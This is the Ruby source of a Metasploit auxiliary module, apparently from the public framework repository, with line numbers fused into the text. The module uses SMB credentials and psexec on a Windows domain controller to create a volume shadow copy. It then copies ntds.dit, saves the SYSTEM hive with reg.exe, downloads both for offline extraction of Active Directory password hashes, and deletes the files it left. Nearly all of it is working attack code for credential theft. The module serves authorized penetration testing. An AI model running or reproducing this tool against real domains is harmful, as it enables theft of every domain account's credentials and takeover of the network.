Path: blob/master/modules/auxiliary/admin/smb/psexec_ntdsgrab.rb
27916 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary67# Exploit mixins should be called first8include Msf::Exploit::Remote::SMB::Client::Psexec9include Msf::Auxiliary::Report10include Msf::OptionalSession::SMB1112# Aliases for common classes13SIMPLE = Rex::Proto::SMB::SimpleClient14XCEPT = Rex::Proto::SMB::Exceptions15CONST = Rex::Proto::SMB::Constants1617def initialize(info = {})18super(19update_info(20info,21'Name' => 'PsExec NTDS.dit And SYSTEM Hive Download Utility',22'Description' => %q{23This module authenticates to an Active Directory Domain Controller and creates24a volume shadow copy of the %SYSTEMDRIVE%. It then pulls down copies of the25ntds.dit file as well as the SYSTEM hive and stores them. The ntds.dit and SYSTEM26hive copy can be used in combination with other tools for offline extraction of AD27password hashes. All of this is done without uploading a single binary to the28target host.29},30'Author' => [31'Royce Davis <rdavis[at]accuvant.com>' # @R3dy__32],33'License' => MSF_LICENSE,34'References' => [35[ 'URL', 'http://sourceforge.net/projects/smbexec' ],36[ 'URL', 'https://www.optiv.com/blog/owning-computers-without-shell-access' ],37[ 'ATT&CK', Mitre::Attack::Technique::T1003_003_NTDS ],38[ 'ATT&CK', Mitre::Attack::Technique::T1021_002_SMB_WINDOWS_ADMIN_SHARES ]39],40'Notes' => {41'Stability' => [CRASH_SAFE],42'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES, ARTIFACTS_ON_DISK],43'Reliability' => []44}45)46)4748register_options([49OptString.new('SMBSHARE', [true, 'The name of a writeable share on the server', 'C$']),50OptString.new('VSCPATH', [false, 'The path to the target Volume Shadow Copy', '']),51OptString.new('WINPATH', [true, 'The name of the Windows directory (examples: WINDOWS, WINNT)', 'WINDOWS']),52OptBool.new('CREATE_NEW_VSC', [false, 'If true, attempts to create a volume shadow copy', false]),53])54end5556# This is the main control method57def run58# Initialize some variables59text = "\\#{datastore['WINPATH']}\\Temp\\#{Rex::Text.rand_text_alpha(16)}.txt"60bat = "\\#{datastore['WINPATH']}\\Temp\\#{Rex::Text.rand_text_alpha(16)}.bat"61createvsc = 'vssadmin create shadow /For=%SYSTEMDRIVE%'62@ip = datastore['RHOST']63@smbshare = datastore['SMBSHARE']64# Try and connect65if session66print_status("Using existing session #{session.sid}")67self.simple = session.simple_client68@ip = simple.address69else70return unless connect7172# Try and authenticate with given credentials73begin74smb_login75rescue StandardError => e76print_error("Unable to authenticate with given credentials: #{e}")77return78end79end80# If a VSC was specified then don't try and create one81if !datastore['VSCPATH'].empty?82print_status("Attempting to copy NTDS.dit from #{datastore['VSCPATH']}")83vscpath = datastore['VSCPATH']84else85unless datastore['CREATE_NEW_VSC']86vscpath = check_vss(text, bat)87end88vscpath ||= make_volume_shadow_copy(createvsc, text, bat)89end9091if vscpath92if copy_ntds(vscpath, text) && copy_sys_hive93download_ntds(datastore['WINPATH'] + '\\Temp\\ntds')94download_sys_hive(datastore['WINPATH'] + '\\Temp\\sys')95else96print_error('Failed to find a volume shadow copy. Issuing cleanup command sequence.')97end98end99cleanup_after(bat, text, "\\#{datastore['WINPATH']}\\Temp\\ntds", "\\#{datastore['WINPATH']}\\Temp\\sys")100disconnect101end102103# Thids method will check if a Volume Shadow Copy already exists and use that rather104# then creating a new one105def check_vss(text, bat)106print_status('Checking if a Volume Shadow Copy exists already.')107prepath = '\\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy'108command = "%COMSPEC% /C echo vssadmin list shadows ^> #{text} > #{bat} & %COMSPEC% /C start cmd.exe /C #{bat}"109psexec(command)110data = smb_read_file(datastore['SMBSHARE'], @ip, text)111vscs = []112data.each_line { |line| vscs << line if line.include?('GLOBALROOT') }113if vscs.empty?114print_status('No VSC Found.')115return nil116end117vscpath = prepath + vscs[vscs.length - 1].to_s.split('ShadowCopy')[1].to_s.chomp118print_good("Volume Shadow Copy exists on #{vscpath}")119return vscpath120rescue StandardError => e121print_error("Unable to determine if VSS is enabled: #{e}")122return nil123end124125# Create a Volume Shadow Copy on the target host126def make_volume_shadow_copy(createvsc, text, bat)127begin128# Try to create the shadow copy129command = "%COMSPEC% /C echo #{createvsc} ^> #{text} > #{bat} & %COMSPEC% /C start cmd.exe /C #{bat}"130print_status('Creating Volume Shadow Copy')131psexec(command)132# Get path to Volume Shadow Copy133vscpath = get_vscpath(text)134rescue StandardError => e135print_error("Unable to create the Volume Shadow Copy: #{e}")136return nil137end138if vscpath139print_good("Volume Shadow Copy created on #{vscpath}")140return vscpath141else142return nil143end144end145146# Copy ntds.dit from the Volume Shadow copy to the Windows Temp directory on the target host147def copy_ntds(vscpath, text)148ntdspath = vscpath.to_s + '\\' + datastore['WINPATH'] + '\\NTDS\\ntds.dit'149command = "%COMSPEC% /C copy /Y \"#{ntdspath}\" %WINDIR%\\Temp\\ntds"150psexec(command)151if !check_ntds(text)152return false153end154155return true156rescue StandardError => e157print_error("Unable to copy ntds.dit from Volume Shadow Copy.Make sure target is a Windows Domain Controller: #{e}")158return false159end160161# Checks if ntds.dit was copied to the Windows Temp directory162def check_ntds(text)163print_status('Checking if NTDS.dit was copied.')164check = "%COMSPEC% /C dir \\#{datastore['WINPATH']}\\Temp\\ntds > #{text}"165psexec(check)166output = smb_read_file(@smbshare, @ip, text)167if output.include?('ntds')168return true169end170171return false172end173174# Copies the SYSTEM hive file to the Temp directory on the target host175def copy_sys_hive176# Try to create the sys hive copy177command = '%COMSPEC% /C reg.exe save HKLM\\SYSTEM %WINDIR%\\Temp\\sys /y'178return psexec(command)179rescue StandardError => e180print_error("Unable to copy the SYSTEM hive file: #{e}")181return false182end183184# Download the ntds.dit copy to your attacking machine185def download_ntds(file)186print_status('Downloading ntds.dit file')187begin188# Try to download ntds.dit189simple.connect("\\\\#{@ip}\\#{@smbshare}")190remotefile = simple.open(file.to_s, 'rob')191data = remotefile.read192remotefile.close193ntds_path = store_loot('psexec.ntdsgrab.ntds', 'application/octet-stream', @ip, data, 'ntds.dit')194print_good("ntds.dit stored at #{ntds_path}")195rescue StandardError => e196print_error("Unable to download ntds.dit: #{e}")197return e198end199simple.disconnect("\\\\#{@ip}\\#{@smbshare}")200end201202# Download the SYSTEM hive copy to your attacking machine203def download_sys_hive(file)204print_status('Downloading SYSTEM hive file')205begin206# Try to download SYSTEM hive207simple.connect("\\\\#{@ip}\\#{@smbshare}")208remotefile = simple.open(file.to_s, 'rob')209data = remotefile.read210remotefile.close211hive_path = store_loot('psexec.ntdsgrab.hive', 'application/octet-stream', @ip, data, 'system-hive')212print_good("SYSTEM hive stored at #{hive_path}")213rescue StandardError => e214print_error("Unable to download SYSTEM hive: #{e}")215return e216end217simple.disconnect("\\\\#{@ip}\\#{@smbshare}")218end219220# Gets the path to the Volume Shadow Copy221def get_vscpath(file)222prepath = '\\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy'223vsc = ''224output = smb_read_file(@smbshare, @ip, file)225output.each_line do |line|226vsc += line if line.include?('GLOBALROOT')227end228return prepath + vsc.split('ShadowCopy')[1].chomp229rescue StandardError230print_error('Could not determine the exact path to the VSC check your WINPATH')231return nil232end233234# Removes files created during execution.235def cleanup_after(*files)236simple.connect("\\\\#{@ip}\\#{@smbshare}")237print_status('Executing cleanup...')238files.each do |file|239if smb_file_exist?(file)240smb_file_rm(file)241end242rescue Rex::Proto::SMB::Exceptions::ErrorCode => e243print_error("Unable to cleanup #{file}. Error: #{e}")244end245left = files.collect { |f| smb_file_exist?(f) }246if left.any?247print_error("Unable to cleanup. Maybe you'll need to manually remove #{left.join(', ')} from the target.")248else249print_good('Cleanup was successful')250end251simple.disconnect("\\\\#{@ip}\\#{@smbshare}")252end253end254255256